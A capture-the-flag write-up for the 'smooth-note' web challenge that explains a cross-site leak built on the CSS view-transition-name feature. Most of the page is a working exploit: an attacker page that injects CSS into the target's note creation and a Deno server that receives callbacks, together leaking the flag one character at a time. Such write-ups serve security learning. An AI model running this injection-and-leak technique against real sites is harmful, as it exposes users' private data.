- CTFtime: https://ctftime.org/event/2441/
You can download challenge files from: smooth-note.tar.gz
Summary
- New CSS property
view-transition-namebased XS-Leaks
server.tssearch.html
You can download challenge files from: smooth-note.tar.gz
Summary
view-transition-name based XS-Leaksserver.tssearch.html| <form method="post"> | |
| <input name="style" /> | |
| </form> | |
| <script> | |
| const serverHost = window.origin | |
| const targetHost = "http://web:3000" | |
| const sleep = async (time) => | |
| new Promise((resolve) => setTimeout(resolve, time)); | |
| const defaultChars = "abcdefghijklmnopqrstuvwxyz".split(""); | |
| const search = async (prefix, chars = defaultChars) => { | |
| for (let char of chars) { | |
| const search = `${prefix}${char}`; | |
| const winName = `win${search}`; | |
| const win = window.open( | |
| `${targetHost}/?search=${encodeURIComponent( | |
| search | |
| )}`, | |
| winName, | |
| "width=500,height=500" | |
| ); | |
| await sleep(200); | |
| const form = document.querySelector("form"); | |
| form.action = `${targetHost}/create`; | |
| form.target = winName; | |
| document.querySelector("input").value = ` | |
| ::view-transition-new(site-title) { | |
| animation-duration: 500s; | |
| background-image: url(${serverHost}/add?q=${char}); | |
| } | |
| `; | |
| form.submit(); | |
| setTimeout(() => { | |
| win.close(); | |
| }, 1000); | |
| } | |
| await sleep(1000); | |
| const notFounds = await (await fetch("/finish")).json(); | |
| const flagChars = chars.filter((c) => !notFounds.includes(c)); | |
| if (flagChars.length === 1) { | |
| prefix = prefix + flagChars[0]; | |
| fetch(`/flag=${prefix}`); | |
| search(prefix); | |
| } else if (flagChars.length > 1) { | |
| // something wrong. search again with flagChars | |
| search(prefix, flagChars); | |
| } else { | |
| // finish | |
| console.log(`flag found: ${prefix}`) | |
| } | |
| }; | |
| search("IERAE{"); | |
| </script> |
| // $ deno run --allow-net --allow-read server.ts | |
| import { serveFile } from 'https://deno.land/[email protected]/http/file_server.ts' | |
| const notFounds = new Set<string>() | |
| function finish() { | |
| const body = JSON.stringify([...notFounds.values()]) | |
| notFounds.clear() | |
| return new Response(body, { headers: { 'content-type': 'application/json' } }) | |
| } | |
| function add(query: string) { | |
| notFounds.add(query) | |
| return new Response("ok") | |
| } | |
| async function handler(request: Request): Promise<Response> { | |
| const url = new URL(request.url) | |
| console.log(url.toString()) | |
| switch (url.pathname) { | |
| case '/finish': | |
| return finish() | |
| case '/add': | |
| { | |
| const q = url.searchParams.get('q') || '' | |
| return add(q) | |
| } | |
| default: | |
| return await serveFile(request, 'search.html') | |
| } | |
| } | |
| Deno.serve({ port: 3001, hostname: "0.0.0.0", handler }) |